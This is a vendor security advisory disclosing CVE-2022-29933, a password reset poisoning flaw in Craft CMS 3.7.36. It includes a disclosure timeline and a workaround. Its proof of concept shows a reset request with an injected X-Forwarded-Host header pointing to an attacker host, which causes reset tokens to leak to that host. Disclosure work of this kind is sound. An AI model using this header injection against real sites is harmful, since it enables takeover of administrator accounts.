SEC Consult Vulnerability Lab Security Advisory < 20220505-0 >  
title: Password Reset Poisoning Attack  
product: Craft CMS  
vulnerable version: 3.7.36 and potentially lower  
fixed version: none, see workaround by vendor  
CVE number: CVE-2022-29933  
impact: high  
found: 2022-03-14  
by: Sandro Einfeldt (Office Munich)  
SEC Consult Vulnerability Lab  
An integrated part of SEC Consult, an Atos company  
Europe | Asia | North America  
Vendor description:  
"Craft is a flexible, user-friendly CMS for creating custom digital  
experiences on the web and beyond.  
It features:  
- An intuitive, user-friendly control panel for content creation and  
administrative tasks.  
- A clean-slate approach to content modeling and front-end development  
that doesn’t make any assumptions about your content or how it should be  
- A built-in Plugin Store with hundreds of free and commercial plugins,  
all just a click away.  
- A robust framework for module and plugin development.  
- An active, vibrant community."  
Business recommendation:  
The vendor responded that the vulnerability will not be fixed as a workaround  
is available.  
An in-depth security analysis performed by security professionals is highly  
advised, as the software may be affected from further security issues.  
Vulnerability overview/description:  
1) Password Reset Poisoning Attack (CVE-2022-29933)  
The password reset function of the Craft CMS backend login page,  
usually accessible under https://<hostname>/index.php?p=admin/login,  
is vulnerable to a password reset poisoning attack. An unauthenticated  
attacker who knows valid email addresses or account names of Craft CMS  
backend users is able to manipulate the password reset functionality in  
a way that the registered users of the CMS receive password reset emails  
containing a malicious password reset link.  
The link contains valid (secret) tokens in the URL's GET parameters that  
are necessary to authenticate against the server's password reset function  
and enable a user who lost or forgot the account's password to reset the  
password. By manipulating the password reset request, an attacker is able to  
set an arbitrary hostname in the resulting password reset link. Thereby, the  
attacker can set the link to point to an attacker-controlled host.  
If a user clicks on the reset link, the valid reset tokens in the GET  
parameters will be sent to the attacker's web server and can be  
extracted from the server logs. The attacker is able to build a valid  
password reset link by adding the tokens to the general reset link  
If the attacker calls the filled out URL with a web browser, the  
attacker will be able to reset the account's password and log in.  
Proof of concept:  
1) Password Reset Poisoning Attack (CVE-2022-29933)  
First, the attacker needs to browse the following URL:  
The login mask contains a link "Forgot your password?". Following this  
link, the attacker gets prompted to submit a valid account name or email  
address. After entering the account name or email address and pressing  
the "Reset Password" button, the attacker can intercept the resulting  
HTTP POST request with an intercepting web proxy (e.g. BurpSuite). The  
intercepted request can then be manipulated before getting forwarded  
to the server. The attacker needs to add the HTTP header  
X-Forwarded-Host: <attacker_host>  
while the value should contain the hostname of the webserver under the  
attacker's control.  
Manipulated Request:  
POST /index.php?p=admin/actions/users/send-password-reset-email HTTP/1.1  
Host: <IP>  
Referer: http://<IP>/index.php?p=admin/login  
Content-Type: application/x-www-form-urlencoded; charset=UTF-8  
X-Registered-Asset-Bundles: ,craft\web\assets\login\[...]  
X-Registered-Js-Files: ,http://<IP>/cpresources/[...]  
X-CSRF-Token: c9kEDPROifmFNKSKhght_JgkBgnnk5EfXiH1qHA[...]  
X-Requested-With: XMLHttpRequest  
Content-Length: 38  
Origin: http://<IP>  
Connection: close  
Cookie: CRAFT_CSRF_TOKEN=[...]  
The resulting server response indicates that the request has been processed.  
HTTP/1.1 200 OK  
Date: Mon, 14 Mar 2022 08:19:24 GMT  
X-Powered-By: Craft CMS  
Content-Length: 16  
Connection: close  
Content-Type: application/json; charset=UTF-8  
The user will then receive a malicious password reset email pointing to the  
hostname that the attacker provided by adding the X-Forwarded-Host header.  
Hey Test,  
To reset your Test Install password, click on this link:  
If you were not expecting this email, just ignore it.  
If the user is not aware and clicks on the link, the values of the reset tokens  
"code" and "id" will be sent to the attacker's web server. The attacker is  
then able to relay the tokens to the original reset endpoint and reset the  
Vulnerable / tested versions:  
The following version has been tested and found to be vulnerable:  
* 3.7.36  
Vendor contact timeline:  
2022-03-10: Contacting vendor through contact form.  
2022-03-14: Vendor provides Craft CMS installation for verifying the vulnerability.  
2022-03-22: SEC Consult provides the vulnerability advisory through contact form.  
2022-03-23: Vendor responded that there is a hardening measure available.  
2022-03-31: SEC Consult replied that all installations of the current version  
(including the testing instance provided by the vendor) are vulnerable  
by default and the vulnerability is implementation-based and results  
from bad coding practices.  
Until 2022-05-02: No answer from vendor.  
2022-05-03: Set advisory release date to 5th May. Informing vendor about  
scheduled advisory release.  
2022-05-05: Release of security advisory.  
The vendor knows about the vulnerability and the resulting risks. A possible  
hardening measure has to be implemented manually and is documented here:  
The vendor responded that the vulnerability will not be fixed as a workaround  
is available.  
The backend login interface and the password reset function should not be  
accessible from the internet or from any unknown IP addresses. The user  
must implement the workaround described in the hardening guide above in order  
to mitigate this issue.  
Advisory URL:  
SEC Consult Vulnerability Lab  
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Europe | Asia | North America  
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EOF S. Einfeldt / @2022